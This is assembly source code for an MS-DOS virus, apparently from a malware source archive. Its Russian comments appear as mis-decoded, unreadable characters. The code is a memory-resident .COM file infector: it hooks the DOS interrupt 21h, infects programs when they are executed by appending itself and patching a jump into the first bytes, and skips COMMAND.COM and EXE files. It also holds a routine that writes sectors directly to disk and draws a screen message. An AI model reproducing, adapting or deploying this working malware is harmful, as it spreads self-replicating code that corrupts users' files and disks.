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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.expert1.asm
vxunderground dc888afe59
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2021-01-12 17:41:47 -06:00

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;
; <20>¥ª®¬¥­¤ã¥âáï ®âª®¬¯¨«¨à®¢ âì, § ¯ãáâ¨âì ¨ ⮫쪮 ¯®â®¬ à áᬠâਢ âì
; source code. (‚ᥠࠢ­® ‚ ¬ ¢ ­¥¬ à §¡¨à âìáï ¯à¨¤¥âáï :-)).
;
; Œ¨«¥­ìª ï (¬ «¥­ìª ï) £ ¤®áâì, ¬¥à§®áâì, ¤àï­ì, ᪮⨭ ...
;
; ‚ ®¡é¥¬, ¢¨àãá, ª®â®àë© § à ¦ ¥â ¢á直¥ â ¬ ä ©«ë ¯à¨ ¯®¯ë⪥ ¨å
; § ¯ãáâ¨âì - ¯®ª  á ä ¬¨«¨¥© .COM, ¦¨¢¥â £¤¥-â® ­  ç¥à¤ ª¥ ¯®¤ ¢¥ªâ®à®¬
; 21-£® ¨­â¥àà ¯â , ­¥ áªà뢠¥â ᢮¥ ⥫® ¦¨à­®¥ ¢ ãâ¥á å, § à ¦¥­­ë¥
; ä ©«ë ®¯®§­ ¥â ¯® èãਪ¥­ã (â ª®© ⨯  §¢¥§¤®çª¨, ¨á¯®«ì§ã¥âáï ã
; ¢®áâ®ç­ëå ­ à®¤®¢ ¤«ï ®âᥪ ­¨ï £®«®¢ë ¨ ¥é¥ ª®¥-祣® ã ¡«¨¦­¥£®
; ᢮¥£®), à á¯®«®¦¥­­®¬ã ¢ 4-®¬ ¡ ©â¥ ®â ­ ç « ,   ᢮¥ ­ «¨ç¨¥ ¢
; ¯ ¬ï⨠¯à®¢¥àï¥â â ª: ª« ¤¥â ¢ AX á«®¢® BABA (¢ á¬ëá«¥, ­¥ â ª®¥
; á«®¢®,   word 0BABAh), ¢ë¯®«­ï¥â 21-¥ ¨­â¥à࠯⮢ ­¨¥ ¨ ᬮâà¨â,
; ¦¥« îâ «¨ íâã ¡ ¡ã 0FACCh. …᫨ ¦¥« îâ, â® á â çª®© ¢á¥ ¯®­ïâ­®.
;
; Copyright (c) 1992, Gogi&Givi International
;
jumps
.model tiny
.code
org 0100h
VirPar equ (endvir-StartVirus)/16+2 ; ‘ª®ª  ã ¢¨àãá  ¯ à £à ä®¢
VirLen equ (endvir-StartVirus) ; <20> §¬¥àë ¡îáâ  ¢¨àãá  ¢
; âà¥ã£®«ì­ëå ª¨«®¬¥âà å
gadost:
db 'è' ; …â® ª®¤ CALL
dw StartVirus-$-2 ; € ¥â® ᬥ饭¨¥ ­  StartVirus
db 15,09h ; ˜ãਪ¥­ ¨ ®áâ â®ª ®â mov ah,
int 21h ; € íâ® ¢á¥ ­®à¬ «ì­ë©
ret ; ª®¤ ¦¥àâ¢ë
GoodMessage db '’®¢ à¨é ‹®§¨­áª¨©! ”€Š ž!',13,10,'$'
; <20> ª®áâ­ë© ¬¥áá ¤¦ ¤«ï ¤ï¤¨
; ‹®§¨­áª®£®
StartVirus:
pop si ; <20>â® ç⮡ë 㧭 âì, ªã¤  ­ á
call EntryPoint ; § ­¥á«®
EntryPoint:
pop si ; ‚믨孥¬  ¤à¥á ­ ç «  § à §ë
push ds ; ‘®åà ­¨¬ ¯ àã-âனªã ॣ¨áâ஢...
push es
push si
mov ax,cs ; ‚®ááâ ­®¢¨¬ ᯥàâë¥ ¡ ©âë
mov es,ax ; ¨§ § ¤­¨æë ä ©« 
mov ds,ax
mov di,0100h
add si,RobbedBytes-EntryPoint
mov cx,4
cld ; <20>â® ¢®ááâ ­®¢«¥­¨¥
rep movsb
pop si
mov ax,0ABABh ; <20>஢¥à¨¬, å®âïâ «¨ ¡ ¡ã -
int 21h ; ¢ á¬ëá«¥, ¥áâì «¨ ¬ë
cmp ax,0FAAFh ; ¢ ¯ ¬ïâ¨
jne NeedsBaba ; ‚¨¤ âì, å®âïâ ¥¥, த¨¬ãî!
jmp FucksNow ; …¥ 㦥 ®¡à ¡ â뢠îâ
NeedsBaba:
pop es
push es
mov ax,es ; Žâà뢠¥¬ ᥡ¥ á¥­â PSP
dec ax
mov es,ax ; ‘⮫쪮 ¢ ­ è¥© ¯ ª®áâ¨
mov ax,es:[3] ; ¯ à £à ä®¢
sub ax,virpar
mov es:[3],ax
mov bx,es:[1] ; <20>«îá ®¤­  PSP
add bx,ax ; ‚ᥠᢠ«¨¢ ¥¬ ¢ ªãçã
mov es,bx
push ds ; <20>ã, íâ® ¯®­ïâ­®
xor ax,ax
mov ds,ax
mov ax,ds:[21h*4] ; ‡ å¢ â뢠¥¬ áâ àë©
mov cs:[si+Off21-EntryPoint],ax ; ¢¥ªâ®à int 21h
mov ax,ds:[21h*4+2] ; ‚ á¬ëá«¥, ®­ ­¥ áâ àë©,
mov cs:[si+Seg21-EntryPoint],ax ; ®­ ¤ ¦¥ «ãçè¥ ­®¢®£®
pop ds
xor di,di ; ‡ á®¢ë¢ ¥¬ ¢ ­ ç «®
push si ; ­¨ç¥©­®£® ᥣ¬¥­â 
sub si,EntryPoint-StartVirus ; £¤¥-â® ­  § ¤¢®àª å
mov cx,VirLen ; ¯ ¬ï⨠­ è¥ £­ãá­®¥
rep movsb ; ⥫®
pop si
push ds ; ˆ áâ ¢¨¬ ­  㪠§ ­­®¥
xor ax,ax ; £­ãá­®¥ ⥫® ¢¥ªâ®à
mov ds,ax ; ¯à¥à뢠­¨ï 21h
mov word ptr ds:[21h*4],Int21Server-StartVirus
mov ds:[21h*4+2],es
pop ds
FucksNow:
pop es ; <20>â® ¢ á«ãç ¥, ¥á«¨
pop ds ; ¯à¥¤«®¦¥­­®© ¦¥­é¨­®©
mov si,0100h ; (¢¨àãᮬ) 㦥 ®¡« ¤ îâ
push si
xor ax,ax ; ‚ᥠ¢®ááâ ­ ¢«¨¢ ¥¬ ª
xor bx,bx ; ï¤à¥­¥ ”¥­¥ - ¨ ¤®¬®©,
xor di,di ; ª ¬ ¬¥
ret
Int21Server:
pushf ; <20>â® ­®¢ë© ®¡à ¡®â稪
push ax ; 21-£® ¨­â 
push bx
push ds
cmp ax,0ABABh ; ’ãâ ¬ë ãáâ ­®¢¨¬ ॠªæ¨î
jne NotTest ; ­  ¯à¥¤«®¦¥­¨¥ ¦¥­é¨­ë
pop ds ; (¨«¨ í४æ¨î)
pop bx
pop ax
popf
mov ax,0FAAFh ; <20>â® ­®à¬ «ì­ ï í४æ¨ï
iret ; (â® ¥áâì ॠªæ¨ï)
NotTest:
push cx ; ’ãâ ¬ë ª« áá­® ¨§¢à â¨¬áï,
mov cx,ax ; ç⮡ë ᤥ« âì ¢¨¤, çâ®
xchg cl,ch ; ­ ¬ ᮢᥬ ­¥ ­ã¦­®
xor cl,4Bh ; ®¡à ¡ â뢠âì äã­ªæ¨î EXEC
pop cx ; (—⮡ ‹®§¨­áª¨© £®«®¢ã «®¬ «
jz Exec ; ¨ ç⮡ ã ­¥£® ®çª¨ § ¯®â¥«¨)
jmp NotExec
Exec:
mov bx,dx ; <20>®ª« ¤¥¬ ᬥ饭¨¥ ¨¬¥­¨
; § ¯ã᪠¥¬®£® ä ©«  ¢ BX
SearchZero:
cmp byte ptr ds:[bx],0 ; <20>஢¥à¨¬ ­  §¥àã
je ZeroFound ; €å, ª®­¥æ ¨¬¥­¨!
inc bx
jmp SearchZero
ZeroFound:
sub bx,11 ; —㤥᭮!
push es ; <20>஢¥à¨¬, ¢¤à㣠ª ª®©-
mov ax,cs ; ­¨¡ã¤ì ¯á¨å ¦¥« ¥â
mov es,ax ; § à §¨âì COMMAND.COM
mov cx,11
mov di,offset CommandName-StartVirus
Compare:
mov al,ds:[bx] ; <20>â® ¢á¥ á«®¦­ ï ¨ ­ã¤­ ï
cmp al,es:[di] ; ¯à®æ¥¤ãà  ¯à®¢¥àª¨...
jne NotCommand
inc bx
inc di
dec cx ; ‚ᥠ¯à®¢¥à塞, ¯à®¢¥à塞...
cmp cx,0
jne Compare
pop es
jmp Quit21Server ; —â® ¦ ï - ¤¥¡¨« COMMAND.COM
; § à ¦ âì?!
NotCommand:
pop es ; ’ ¬ ¬ë á®å࠭﫨 祣®©-â 
push ax
push bx ; ‘®åà ­¨¬ ¢á¥, çâ® ¯«®å®
push cx ; «¥¦¨â, çâ®¡ë ­¥ ¯à®¯ «®
push dx
mov ax,3D02h ; Žâªã¯®à¨¢ ¥¬ ª«¨¥­â  (ä ©«)
int 21h
jc EndExec1 ; <20>뢠îâ ¨ £­ãâë¥ ¯à®¡ª¨
mov bx,ax ; <20>®ª« ¤¥¬ ¯à®¡ªã ®â ä ©«  ¢ BX
mov cx,4 ; •®â¥«®áì ¡ë áç¨â âì 4 ¡ ©â 
mov ax,cs
mov ds,ax
mov ah,3Fh ; ‚ ¬¥áâ®, £¤¥ «¥¦ «¨
mov dx,offset RobbedBytes-StartVirus
int 21h ; ᯥàâë¥ ¡ ©âë
jc EndExec1
cmp word ptr cs:[RobbedBytes-StartVirus],'ZM'
je CloseFile ; <20>  䨣  EXE § à ¦ âì???
xor cx,cx
xor dx,dx
mov ax,4202h
int 21h ; ‹¥§¥¬ ¢ § ¤­¨æã ä ©« 
cmp ax,1000 ; <20>  䨣  ­ ¬ ä ©«ë ¬¥­ìè¥
jl CloseFile ; 1 ª¨«®?
cmp ax,64000 ; € ⥬ ¡®«¥¥ ¡®«ìè¥ 64
ja CloseFile
sub ax,3
mov cs:[FileSize-StartVirus],ax ; ˜ãਪ¥­  ?
cmp byte ptr cs:[RobbedBytes-StartVirus+3],15
je CloseFile ; ˆª¥¡ ­ !
mov ax,cs
mov ds,ax
mov ah,40h ; ƒ«ã¯ë© ¢¨àãá ஡ª® ¯àïç¥â
xor dx,dx ; ⥫® ¦¨à­®¥ ¢ § ¤­¨æ¥ ä ©« 
mov cx,VirLen
int 21h
xor cx,cx ; ˆ ¢ ­ ç «® ã¡¥£ ¥â, ç⮡ë
xor dx,dx ; JUMP â㤠 ¯®áâ ¢¨âì
mov ax,4200h
int 21h
mov ah,40h
mov dx,offset SuperByte-StartVirus ; ” ©« ­  â® ¨ ä ©«, ç⮡ë
mov cx,4 ; ¢ë§ë¢ âì ¯®¤ª«¥¥­­ë©
int 21h ; ᧠¤¨ ¢¨àãá
jmp CloseFile
EndExec1: jmp EndExec
mess1: db 'Hi! hello from MSS!',0dh,0ah,'$'
str1 db ' HELLO FROM OVER1 ','$'
game: mov al,0 ; ‡ ­®á¨¬ ¢ áé¥â稪 0
mov [count-0124h],al
mov ax,0308h ; ‚ AL - 8 ᥪâ®à®¢
mov bx,offset endvir ; ‚ BX -  ¤à¥á ¬ãá®à  §  墮á⮬
mov dx,0000h
mov cx,0001h
int 13h ; <20>¨è¥¬ ­  ¤¨áª € 8 ᥪâ®à®¢
jmp eee ; ¬ãá®à  ¨ «¨­ï¥¬.
CloseFile:
mov ah,3Eh ; ‘¨¥ § ªàë⨥ ä ©«  - ­ ¬
int 21h ; ®­ ¡®«ìè¥ ¢  é¥ ­¥ ­ã¦¥­
push ds ; Ž¡¬¥­-¢¥«¨ª ï ¢¥ééì
push cs
pop ds
; mov al,[count-0124h] ; € ç ¢® ã ­ á ¢ áé¥â稪¥?
; inc al ; € ª ª ­ é¥â +1 ?
; mov [count-0124h],al ; ˆ § ¯®¬­¨¬...
; cmp al,02h ; €å, 㦥 14 âà㯮¢?
; jl eee ; <20>¥â? Š ª ï ¦ «®áâì...
mov ah,09 ; Fuck' ­¥¬áï...
mov dx,offset mess1-0124h
int 21h
mov ah,0 ;
mov al,0 ; ãáâ ­ ¢«¨¢ ¥¬ 0 ¢¨¤¥®à¥¦¨¬
int 10h ;
mov ah,2
mov bh,0
mov dh,0
mov dl,10
int 10h ; ¯®§¨æ¨®­¨à㥬 ªãàá®à ­  0,10
mov ah,9
mov al,201
mov bl,01000010b
mov bh,0
mov cx,1
int 10h ; ¢ë¢®¤¨¬ §¥«ñ­ë© ­  ªà á­®¬ 'É' ¢ ¯®§¨æ¨¨ ªãàá®à 
mov ah,2
mov bh,0
mov dh,0
mov dl,11
int 10h ; ¯®§¨æ¨®­¨à㥬 ­  0,11
mov ah,9
mov al,205
mov bl,01000010b
mov bh,0
mov cx,20
int 10h ; ¢ë¢®¤¨¬ 20 §¥«ñ­ëå ­  ªà á­®¬ 'Í'
mov ah,2
mov bh,0
mov dh,0
mov dl,31
int 10h ; ¯®§¨æ¨®­¨à㥬 ­  0,31
mov ah,9
mov al,187
mov bl,01000010b
mov bh,0
mov cx,1
int 10h ; ¢ë¢®¤¨¬ '»'
mov ah,2
mov bh,0
mov dh,1
mov dl,10
int 10h ; ¯®§¨æ¨®­¨à㥬 ­  1,10
mov ah,9
mov bl,01000010b
mov al,186
mov bh,0
mov cx,1
int 10h ; ¢ë¢®¤¨¬ 'º'
mov ah,2
mov dx,010bh
int 10h
mov ah,9
mov dx,offset str1
int 21h ; ¢ë¢®¤¨¬ ¯à¨¢¥âá⢨¥ 'str1'
mov ah,2
mov bh,0
mov dh,1
mov dl,31
int 10h ; ¯®§¨æ¨®­¨à㥬 ­  1,31
mov ah,9
mov al,186
mov bl,01000010b
mov bh,0
mov cx,1
int 10h ; ¢ë¢®¤¨¬ 'º'
mov ah,2
mov dh,2
mov dl,31
int 10h ; ¯®§¨æ¨®­¨à㥬 ­  2,31
mov ah,9
mov al,188
mov bl,01000010b
mov bh,0
mov cx,1
int 10h ; ¢ë¢®¤¨¬ '¼'
mov ah,2
mov dh,2
mov dl,10
int 10h ; ¯®§¨æ¨®­¨à㥬 ­  3,10
mov ah,9
mov al,200
mov bl,01000010b
mov bh,0
mov cx,1
int 10h ; ¢ë¢®¤¨¬ 'È'
mov ah,2
mov dh,2
mov dl,11
int 10h ; ¯®§¨æ¨®­¨à㥬 ­  2,11
mov ah,9
mov al,205
mov bl,01000010b
mov bh,0
mov cx,20
int 10h ; ¢ë¢®¤¨¬ 'Í' ( 20 èâ.)
mov ah,2
mov dh,25
mov dl,0
int 10h ; ã室¨¬ §  áâà ­¨æã
mov ah,2
mov bh,0
mov dh,24
mov dl,0
int 10h ; ¯®§¨æ¨®­¨à㥬 ­  24,0
MOV AL,2
mov ah,0
int 10h ; ¢®§¢à é ¥¬ áâ àë© ¢¨¤¥®à¥¦¨¬
mov al,[count-0124h]
cmp al,3
jz game ; “à !!! <20>®¡¥¦ «¨ ¨§¤¥¢ âìáï!
eee: pop ds ; Œ®© ç á 㦥 ¡«¨§®ª,â९¥é¨!
EndExec:
pop dx ; Œë â ¬, ª ¦¨áì, á®å࠭﫨
pop cx ; ®¯ïâì 祣®©-â ?
pop bx
pop ax
jmp Quit21Server ; ˆ ¯® ¡ ¡ ¬!
NotExec:
; <20>  á«ãç © á«¥¤ãîé¨å 堬᪨å ࠧࠡ®â®ª
Quit21Server:
pop ds ; —¥¬ ¦¥ ¬ë ⮫쪮
pop bx ; STACK' ­ ­¥ ­ ¯®«­ï«¨?!
pop ax
popf ; …é¥ ¨ ä« £ ¬¨?!!!
db 0EAh
Off21 dw 0000h ; ’ ª ¡ã¤¥â á ª ¦¤ë¬, ªâ®...
Seg21 dw 0000h
RobbedBytes:
mov dx,offset GoodMessage ; <20>â® ¢à®¤¥ ª ª ᯥàâë¥ ¡ ©âë
db 0B4h
SuperByte db 'è' ; € íâ® ­¥ ᯥàâë¥, ­®
FileSize dw 0000h ; ⮦¥ å®à®è¨¥
db 15 ; ˜ãਪ¥­ 
db '=>' ; <20>â® ¤«ï ªà á®âë
CommandName db 'COMMAND.COM<=' ; € íâ® ®â COMMAND.COM
count db 1 dup (0) ; …â® ¥áâì áé¥â稪
REG DB 1 DUP (0)
endvir:
end gadost ; ˆ ¢á¥!
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